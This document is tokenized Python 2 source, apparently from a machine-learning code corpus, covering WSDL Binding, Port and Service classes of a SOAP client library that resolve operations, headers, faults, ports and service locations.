"s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "op", ":", " ", "An", " ", "I", "{", "operati", "on", "}", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "op", ":", " ", "I", "{", "operati", "on", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pto", "p_", "=_", "self_", "._", "type_", "._", "operation_", "(_", "op_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pto", "p_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", ",_", "\"", "operati", "on", " ", "'%", "s", "'", " ", "not", " ", "defin", "ed", " ", "in", " ", "port", "Type", "\"_", "%_", "op_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "soap", "_", "=_", "op_", "._", "soap", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parts_", "=_", "soap", "_", "._", "input_", "._", "body_", "._", "parts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "parts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "pto", "p_", "._", "input_", "._", "parts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "p_", "._", "name_", "in_", "parts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pts_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "soap", "_", "._", "input_", "._", "body_", "._", "parts_", "=_", "pts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "soap", "_", "._", "input_", "._", "body_", "._", "parts_", "=_", "pto", "p_", "._", "input_", "._", "parts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parts_", "=_", "soap", "_", "._", "output_", "._", "body_", "._", "parts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "parts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "pto", "p_", "._", "output_", "._", "parts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "p_", "._", "name_", "in_", "parts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pts_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "soap", "_", "._", "output_", "._", "body_", "._", "parts_", "=_", "pts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "soap", "_", "._", "output_", "._", "body_", "._", "parts_", "=_", "pto", "p_", "._", "output_", "._", "parts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve", "headers_", "(_", "self_", ",_", "definitions_", ",_", "op_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "soap", " ", "header", " ", "I", "{", "message", "}", " ", "reference", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "op", ":", " ", "An", " ", "I", "{", "operati", "on", "}", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "op", ":", " ", "I", "{", "operati", "on", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "=_", "op_", "._", "soap", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "soap", "_", "._", "input_", "._", "headers_", "+_", "soap", "_", "._", "output_", "._", "headers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "header_", "in_", "headers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mn_", "=_", "header_", "._", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ref_", "=_", "quali", "fy_", "(_", "mn_", ",_", "self_", "._", "root_", ",_", "definitions_", "._", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "definitions_", "._", "messages_", "._", "get_", "(_", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "message_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", ",_", "\"", "message", "'%", "s", "',", " ", "not", "-", "found", "\"_", "%_", "mn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pn_", "=_", "header_", "._", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "message_", "._", "parts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "p_", "._", "name_", "==_", "pn_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "header_", "._", "part_", "=_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "pn_", "==_", "header_", "._", "part_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", ",_", "\"", "message", " ", "'%", "s", "'", " ", "has", " ", "not", " ", "part", " ", "named", " ", "'%", "s", "'\"_", "%_", "(_", "ref_", ",_", "pn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve", "faults", "_", "(_", "self_", ",_", "definitions_", ",_", "op_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "soap", " ", "fault", " ", "I", "{", "message", "}", " ", "reference", "s", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "cross", "-", "referenci", "ng", " ", "with", " ", "operati", "on", " ", "defin", "ed", " ", "in", " ", "port", " ", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "op", ":", " ", "An", " ", "I", "{", "operati", "on", "}", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "op", ":", " ", "I", "{", "operati", "on", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pto", "p_", "=_", "self_", "._", "type_", "._", "operation_", "(_", "op_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pto", "p_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", ",_", "\"", "operati", "on", " ", "'%", "s", "'", " ", "not", " ", "defin", "ed", " ", "in", " ", "port", "Type", "\"_", "%_", "op_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "soap", "_", "=_", "op_", "._", "soap", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fault_", "in_", "soap", "_", "._", "faults", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "f_", "in_", "pto", "p_", "._", "faults", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "f_", "._", "name_", "==_", "fault_", "._", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fault_", "._", "parts_", "=_", "f_", "._", "message_", "._", "parts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "fault_", ",_", "'", "part", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Exception_", ",_", "\"", "fault", " ", "'%", "s", "'", " ", "not", " ", "defin", "ed", " ", "in", " ", "port", "Type", " ", "'%", "s", "'\"_", "%_", "(_", "fault_", "._", "name_", ",_", "self_", "._", "type_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "operation_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Short", "cut", " ", "used", " ", "to", " ", "get", " ", "a", " ", "contain", "ed", " ", "operati", "on", " ", "by", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "name", ":", " ", "An", " ", "operati", "on", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "name", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "The", " ", "named", " ", "operati", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "rty", "pe", ":", " ", "Opera", "tion", "\\", "10", ";", " ", " ", " ", " ", "@", "raise", " ", "L", "{", "Meth", "od", "Not", "Foun", "d", "}:", " ", "Whe", "n", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "operations_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Meth", "od", "Not", "Found_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "not_", "isinstance_", "(_", "other_", ",_", "Service_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Port_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "a", " ", "service", " ", "port", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "service", ":", " ", "A", " ", "service", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "service", ":", " ", "L", "{", "Service", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "bindi", "ng", ":", " ", "A", " ", "bindi", "ng", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "bindi", "ng", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "location", ":", " ", "The", " ", "service", " ", "location", " ", "(", "url", ").", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "location", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Port_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ",_", "service_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "service", ":", " ", "A", " ", "service", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "service", ":", " ", "L", "{", "Service", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Name", "d", "Object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "service_", "=_", "service_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "binding_", "=_", "root_", "._", "get_", "(_", "'", "bindi", "ng", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "address_", "=_", "root_", "._", "get", "Child_", "(_", "'", "address", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "address_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "location_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "location_", "=_", "address_", "._", "get_", "(_", "'", "location", "'_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "methods_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Port_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "method_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "a", " ", "method", " ", "defin", "ed", " ", "in", " ", "this", " ", "port", "Type", " ", "by", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "name", ":", " ", "A", " ", "method", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "name", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "The", " ", "request", "ed", " ", "method", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "rty", "pe", ":", " ", "I", "{", "Meth", "od", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "methods_", "._", "get_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Service_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "<", "service", "/>", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "port", ":", " ", "The", " ", "contain", "ed", " ", "port", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "port", ":", " ", "[", "Port", ",.", ".]", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "method", "s", ":", " ", "The", " ", "contain", "ed", " ", "method", "s", " ", "for", " ", "all", " ", "port", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "method", "s", ":", " ", "[", "Meth", "od", ",.", ".]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Service_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Name", "d", "Object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ports_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "root_", "._", "get", "Children_", "(_", "'", "port", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "port_", "=_", "Port_", "(_", "p_", ",_", "definitions_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ports_", "._", "append_", "(_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Service_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "port_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Locat", "e", " ", "a", " ", "port", " ", "by", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "name", ":", " ", "A", " ", "port", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "name", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "The", " ", "port", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "rty", "pe", ":", " ", "L", "{", "Port", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "self_", "._", "ports_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "p_", "._", "name_", "==_", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Service_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setl", "ocation", "_", "(_", "self_", ",_", "url_", ",_", "names_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Override", " ", "the", " ", "invocation", " ", "location", " ", "(", "url", ")", " ", "for", " ", "service", " ", "method", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "url", ":", " ", "A", " ", "url", " ", "location", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "url", ":", " ", "A", " ", "url", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "names", ":", " ", " ", "A", " ", "list", " ", "of", " ", "method", " ", "names", ".", " ", " ", "Non", "e", "=", "ALL", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "names", ":", " ", "[", "str", ",.", ".]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "self_", "._", "ports_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "m_", "in_", "p_", "._", "methods_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "names_", "is_", "None_", "or_", "m_", "._", "name_", "in_", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "m_", "._", "location_", "=_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Service_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve_", "(_", "self_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "named", " ", "reference", "s", " ", "to", " ", "other", " ", "WS", "DL", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Port", "s", " ", "with", "out", " ", "soap", " ", "bindi", "ngs", " ", "are", " ", "discard", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filtered_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "self_", "._", "ports_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ref_", "=_", "quali", "fy_", "(_", "p_", "._", "binding_", ",_", "self_", "._", "root_", ",_", "definitions_", "._", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "binding_", "=_", "definitions_", "._", "bindings_", "._", "get_", "(_", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "binding_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "bindi", "ng", " ", "'%", "s", "',", " ", "not", "-", "found", "\"_", "%_", "p_", "._", "binding_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "binding_", "._", "soap", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "('", "bindi", "ng", " ", "\"%", "s", "\"", " ", "-", " ", "not", " ", "a", " ", "soap", ",", " ", "discard", "ed", "',", " ", "bindi", "ng", ".", "name", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "._", "binding_", "=_", "binding_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filtered_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "ports_", "=_", "filtered_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Service_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", 